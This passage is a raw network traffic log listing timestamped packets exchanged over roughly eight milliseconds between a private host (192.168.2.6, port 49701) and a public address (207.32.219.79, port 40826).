Aug 31, 2024 18:37:02.306583881 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306591988 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306598902 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306610107 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306621075 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306622028 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306631088 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306636095 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306639910 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306648016 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306648970 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306657076 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306664944 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306673050 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306680918 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306688070 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306695938 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306701899 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306703091 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306723118 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306771040 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306785107 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306796074 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306813955 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306822062 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306830883 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306838989 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306843042 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306845903 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306854010 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306854963 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306863070 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306878090 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306915998 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307010889 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307018995 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307027102 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307060957 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307075024 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307147026 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307156086 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307163954 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307173014 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307182074 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307188988 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307195902 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307207108 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307214022 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307223082 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307223082 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307233095 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307264090 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307311058 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307320118 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307327986 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307336092 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307354927 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307374001 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307554960 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307565928 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307578087 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307585001 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307602882 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307619095 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307632923 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307637930 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307646036 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307652950 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307661057 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307668924 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307677031 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307684898 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307687044 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307692051 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307699919 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307703018 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307712078 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307723045 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307730913 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307739973 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307743073 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307773113 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307781935 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307790995 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307820082 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.307857990 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307867050 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307873964 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307882071 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307889938 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.307929039 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308192015 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308199883 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308203936 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308208942 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308217049 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308232069 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308245897 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308254004 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308262110 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308264971 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308269978 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308279991 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308305025 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308321953 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308465958 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308476925 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308491945 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308500051 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308517933 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308521032 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308538914 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308548927 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308557034 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308564901 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308573008 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308579922 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308619976 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308679104 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308686972 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308695078 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308729887 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308760881 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308769941 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308780909 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308788061 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308820963 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308835030 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308851004 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308914900 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.308928967 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308938026 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308945894 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308950901 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308962107 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308969021 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308978081 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.308986902 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.309019089 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.309040070 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.311794996 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311804056 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311811924 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311821938 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311830044 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311836958 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311844110 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311851978 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311856031 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.311877966 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.311897039 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311898947 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.311907053 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.311908007 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.311954975 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312103987 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312113047 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312119961 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312129021 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312170982 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312238932 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312247992 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312258959 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312267065 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312274933 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312283039 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312290907 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312295914 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312299013 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312315941 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312323093 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312330961 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312339067 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312340975 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312345982 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312355995 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312366009 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312366009 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312374115 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312382936 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312390089 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312401056 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312406063 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312413931 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312422037 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312431097 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312437057 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312438011 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312446117 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312454939 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312455893 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312463045 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312475920 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312475920 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312491894 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312496901 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312500954 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312505007 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312508106 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312516928 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312525988 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312530041 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312535048 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312545061 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312552929 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312561989 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312570095 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312573910 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312577009 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312583923 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312592030 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312598944 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312623978 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312633038 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312637091 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312639952 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312648058 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312659025 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312666893 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312674999 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312683105 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312685013 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312690973 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312699080 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312702894 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312725067 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312732935 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312736034 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312747002 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312757969 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312779903 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312796116 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312833071 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312843084 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312849998 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312858105 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312865019 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312871933 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312882900 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312899113 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.312979937 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312988043 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.312998056 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313000917 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313009024 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313020945 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313028097 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.313030005 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313039064 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313047886 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313060045 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313066959 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.313076019 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313086033 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313100100 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.313141108 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313143015 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.313148975 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313157082 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313164949 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313168049 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313177109 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313184023 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313199997 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.313215971 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.313318014 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313325882 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313333035 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313342094 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313353062 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313384056 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.313498974 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313508034 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313515902 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313524008 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313597918 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313608885 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313618898 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313630104 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313640118 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313806057 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313815117 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313822031 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313829899 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313838005 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313846111 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313853025 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313860893 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313868999 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313875914 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313884020 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313890934 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313971996 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313982010 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313990116 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313993931 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.313997030 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314003944 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314013004 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314023018 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314034939 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314045906 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314055920 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314064026 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314253092 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314263105 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314271927 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314279079 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314287901 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314295053 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314362049 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314369917 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314378977 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314387083 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314441919 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314450026 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314457893 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314466000 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314474106 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314481020 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314496040 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314503908 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314521074 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314529896 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314538002 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314646006 CEST	40826	49701	207.32.219.79	192.168.2.6
